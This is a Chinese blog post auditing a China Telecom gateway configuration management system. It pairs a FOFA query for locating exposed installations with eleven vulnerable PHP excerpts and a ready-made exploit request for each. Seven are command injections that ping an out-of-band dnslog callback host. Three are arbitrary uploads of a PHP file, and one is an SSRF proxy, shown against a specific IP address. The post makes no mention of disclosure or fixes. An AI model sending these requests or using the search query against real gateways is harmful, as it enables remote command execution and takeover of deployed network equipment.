中国电信网关配置管理系统 代码审计

中国电信网关配置管理系统 代码审计

Alanni
2024-08-05 / 0 评论 / 10 阅读 / 正在检测是否收录...

中国电信网关配置管理系统 代码审计

基本信息

FOFA

body="a:link{text-decoration:none;color:orange;}" && icon_hash!="-1207180093" && body="360安全浏览器"

1.del_file.php命令注入

基本信息

对应文件: manager/newtpl/del_file.php

路径: manager/newtpl/del_file.php

关键代码

<?php
$file = $_GET['file'];
$del_file = "rm /home/apache/livepage" . $file;
$test = "/usr/local/etc/cmd '$del_file'";
exec($test, $array); ?>

最基本的命令注入,没什么好说的。

EXP

GET /manager/newtpl/del_file.php?file=;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

2.ipping.php命令注入

基本信息

对应文件: manager/ipping.php

路径: manager/ipping.php

关键代码

<?php
session_start();
if (!isset($_SESSION['username']) && !isset($_SESSION['usergrp']) && !isset($_SESSION['userlimit'])) {
    header("Location:index.php");
    exit();
} ?>

<?php
$dstip = $_POST["ipaddr"];
$output = shell_exec('ping -c2 ' . $dstip);
echo "<pre>$output</pre>"; ?>

是一个后台的命令注入漏洞,session 判断是否登录,登陆后可调用。

EXP

GET /manager/ipping.php?ipaddr=;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

3.ip_modify.php命令注入

基本信息

对应文件: manager/ip_modify.php

路径: manager/ip_modify.php

关键代码

<?php
$ip_addr = $_GET['ip_addr'];
$ip_dev = $_GET['ip_dev'];
echo "IP地址" . $ip_addr . ";" . "设备名" . $ip_dev;
if ($_GET['addflag'] == 1) {
    if ($ip_addr == "" || $ip_mask == "") {
        echo "<font color=red>请填写正确的IP信息." . "</font><br>";
    } else {
        $cmd = "/usr/local/etc/cmd /usr/local/etc/setip.sh $ip_dev $ip_addr $ip_mask $ip_gateway";
        exec($cmd, $resipset, $out);
        echo "<font color=red>结果:Success" . $resipset[0] . "<font>";
    }
} ?>

和 ipping 同样为后台功能;需要登录。

EXP

GET /manager/ip_modify.php?ip_dev=;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

4.ipconfig_new.php命令注入

基本信息

对应文件: manager/ipconfig_new.php

路径: manager/ipconfig_new.php

关键代码

<?php
...
$actiontype = @$_REQUEST["actiontype"];
if ($actiontype == "reboot") {
    $result = "";
    $devName = @$_REQUEST["dev"];
    if (strpos($devName, "ppp") >= 0) {
        $cmd = "/usr/local/etc/cmd /usr/local/etc/pppoe_stop.sh $devName";
        system($cmd, $result);
        $cmd = "/usr/local/etc/cmd /usr/local/etc/pppoe_start.sh $devName";
        system($cmd, $result);
    } else {
        system("/usr/local/etc/cmd ifdown " . $devName);
        system("/usr/local/etc/cmd ifup " . $devName);
    }
} ?>

还是一样接收 actiontype 参数判断是否为 reboot 步入进行判断 ppp 查找字符串首次出现的位置。还是没有过滤导致命令注入。

EXP

GET /manager/ipconfig_new.php?actiontype=reboot&dev=ppp;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

或

GET /manager/ipconfig_new.php?actiontype=reboot&dev=;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

5.multiple_next.php命令注入

基本信息

对应文件: manager/multiple_next.php

路径: manager/multiple_next.php

关键代码

<?php session_start();
...
include("config/config.inc");
$ip = $_GET['ipaddress'];
$port = $_GET['port'];
$network = $_GET['network'];
$test = "/usr/local/etc/cmd '/home/hasslive/dvbsearch $ip $port $network'";
exec($test, $array);
...

还是需要登陆后才可以触发。

GET /manager/multiple_next.php?ipaddress=;ping%20xxxx.dnslog.cn HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

6.pppoe_usermod.php命令注入

基本信息

对应文件: manager/pppoe_usermod.php

路径: manager/pppoe_usermod.php

关键代码

<?php
...
$deviceno = $_GET["type"];
$actiontype = $_POST["actiontype"];
if ($actiontype == "save") {
    $device_name = $_POST["device"];
    $username = $_POST["y_pass"];
    $userpass = $_POST["n_pass"];
    $cmd = "/usr/local/etc/cmd /usr/local/etc/pppoe_usset.sh $username $userpass $device_name";
    system($cmd, $result);
    exit;
}
if ($deviceno < 0 || $deviceno > 7) {
    exit;
}
$devms = "ppp" . $deviceno; ?>

没啥好说的。最基本的了。

EXP

POST /manager/pppoe_usermod.php HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

actiontype=save&y_pass=;ping%20xxxxx.dnslog.cn

7.createbond.php命令注入

基本信息

对应文件: /manager/createbond.php

路径: /manager/createbond.php

关键代码

<?php
echo "创建bond0";
$addflag = $_POST["addflag"];
$bondaddr = $_POST["bondaddr"];
$bondmask = $_POST["bondmask"];
$bondgw = $_POST["bondgw"];
if ($addflag == 1) {
    $cmd = "/usr/local/etc/cmd /usr/local/etc/createbond.sh $bondaddr $bondmask $bondgw";
    exec($cmd, $result, $out);
    echo "结果:" . $result[0] . "<BR>";
} ?>

EXP

POST /manager/createbond.php HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

bondaddr=127.0.0.1;ping%2012dfee7478.ipv6.1433.eu.org&bondmask=255.255.255.0&bondgw=127.0.0.1&addflag=1

8.rewrite.php任意文件上传

基本信息

对应文件: manager/teletext/material/rewrite.php

路径: manager/teletext/material/rewrite.php

关键代码

if (isset($_FILES)) {
    $error = false;
    $target_dir = "/home/apache/data/material/";
    $virtual_dir = "/xmedia/material/";
    $uploaddir = $target_dir . $uploadtime;
    $upload_virtual = $virtual_dir . $uploadtime;
    $upload_url = '';
    $current_date = date("Ymd_His") . '_' . time() . '.' . substr(strrchr($uploadtime, '.'), 1);;
    foreach ($_FILES as $file) {
        if (isset($url)) {
            $new_uploaddir = $target_dir . $current_date;
            $new_upload_virtual = $virtual_dir . $current_date;

            if (move_uploaded_file($file['tmp_name'], $new_uploaddir)) {
                $upload_url = $new_upload_virtual;
                modify_img($upload_virtual, $upload_url);
                unlink($uploaddir);
            } else {
                $error = true;
            }
        } else {
            if (move_uploaded_file($file['tmp_name'], $uploaddir . basename($file['name']))) {
                $upload_url = $upload_virtual . $file['name'];
            } else {
                $error = true;
            }
        }
    }
    $data = ($error) ? array('ret' => -1, 'ret_msg' => '没有写入权限') : array('ret' => 0, 'ret_msg' => 'success', 'url' => $upload_url, 'date' => $current_date);
} else {
    $data = array('ret' => -1, 'ret_msg' => '文件不合法');
}

开头判断是否传递了 FILES 文件请求,然后是基本参数。循环上传文件此处可猜测为是多文件上传功能点。判断是否获取到 url 信息,真假都会上传文件。

EXP

POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php phpinfo(); ?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"

------WebKitFormBoundaryOKldnDPT--

9.upload.php任意文件上传

基本信息

对应文件: manager/teletext/material/upload.php

路径: manager/teletext/material/upload.php

关键代码

<?
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
$uploadtime = @$_REQUEST['uploadtime'];
$data = array();
if (isset($_FILES)) {
    $error = false;
    $files = array();
    $target_dir = "/home/apache/data/material/";
    $virtual_idr = "/xmedia/material/";
    $uploaddir = $target_dir . $uploadtime;
    $upload_virtual = $virtual_idr . $uploadtime;
    $upload_url = '';
    foreach ($_FILES as $file) {
        if (move_uploaded_file($file['tmp_name'], $uploaddir . basename($file['name']))) {
            $files[] = $uploaddir . $file['name'];
            $upload_url = $upload_virtual . $file['name'];
        } else {
            $error = true;
        }
    }
    $data = ($error) ? array('ret' => -1, 'ret_msg' => '没有写入权限') : array('ret' => 0, 'ret_msg' => 'success', 'url' => $upload_url);
} else {
    $data = array('ret' => -1, 'ret_msg' => '文件不合法');
}
echo json_encode($data);
?>

具体参考 rewrite.php 一模一样。

EXP

POST /manager/teletext/material/upload.php HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php phpinfo(); ?>
------WebKitFormBoundaryOKldnDPT--

10.2.phpSSRF(插件)

基本信息

对应文件: manager/proEditor/pubFile/plugins/h5player/2.php

路径: manager/proEditor/pubFile/plugins/h5player/2.php

关键代码

<?php

    header('Content-type:text/html; charset="utf-8"');
    header("Access-Control-Allow-Origin:*");

    if ( version_compare(PHP_VERSION, '5.3.0', '<') ) {
        exit('PHP 版本太低了!!');
    }

    $url = $_GET['path'];
    switch ($_SERVER['REQUEST_METHOD']) {
        case "GET":
            curlget($url);
            break;
        case "POST":
            switch($_SERVER['CONTENT_TYPE']) {
                case 'application/x-www-form-urlencoded':
                    $data = http_build_request($_POST);
                    break;
                case 'multipart/form-data':
                    $tempname = $_FILES['file']['tmp_name'];
                    $basename = basename($_FILES['file']['name']);
                    $origname = sys_get_temp_dir() . '/' . $basename;
                    move_uploaded_file($tempname, $origname);
                    chdir(sys_get_temp_dir());
                    $data = array('name' => 'file', 'filename' => '@' . $basename);
                    break;
                default:
                    exit;
            }
            curlpost($url, $data);
            break;
        default:
            exit;
    }
?>

步入代码先判断了 PHP 的版本,通过 GET 的方式获取 URL 判断Method请求方式是否为 GET 或 POST 如果是GET 则调用 curlget 如果是 POST 直接步入Content-type的判断。细节见 漏洞11,这节说 SSRF。

跟进代码查看 curlget。直接调用 curl 函数请求,如果返回的值为 flase 则设置状态码为 400。到最后如果没有找到 Content-type 类型调用 curlpost

function curlget($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    if ($data === false) {
        header('HTTP/1.1 400 Bad Request');
        exit;
    } else {
        echo $data;
    }
}

function curlpost($url, $data) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    $data = curl_exec($ch);
    if ($data === false) {
        header('HTTP/1.1 400 Bad Request');
        exit;
    } else {
        echo $data;
    }
}

EXP

GET /manager/proEditor/pubFile/plugins/h5player/2.php?path=http://baidu.com HTTP/1.1
Host: 182.150.55.108:8838
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close

11.2.php任意文件上传(插件)

基本信息

对应文件: manager/proEditor/pubFile/plugins/h5player/2.php

路径: manager/proEditor/pubFile/plugins/h5player/2.php

关键代码

$url = $_GET['path'];
switch ($_SERVER['REQUEST_METHOD']) {
    case "GET":
        curlget($url);
        break;
    case "POST":
        switch($_SERVER['CONTENT_TYPE']) {
            case 'application/x-www-form-urlencoded':
                $data = http_build_request($_POST);
                break;
            case 'multipart/form-data':
                $tempname = $_FILES['file']['tmp_name'];
                $basename = basename($_FILES['file']['name']);
                $origname = sys_get_temp_dir() . '/' . $basename;
                move_uploaded_file($tempname, $origname);
                chdir(sys_get_temp_dir());
                $data = array('name' => 'file', 'filename' => '@' . $basename);
                break;
            default:
                exit;
        }
        curlpost($url, $data);
        break;
    default:
        exit;
}

上一节的 SSRF 提到的如果 Content-type 是 multipart/form-data 触发文件上传的代码。sys_get_temp_dir 获取一个临时目录,到这里基本是没希望了,不在WEB目录下。

EXP

POST /manager/proEditor/pubFile/plugins/h5player/2.php HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php phpinfo(); ?>
------WebKitFormBoundaryOKldnDPT--
0

评论 (0)

取消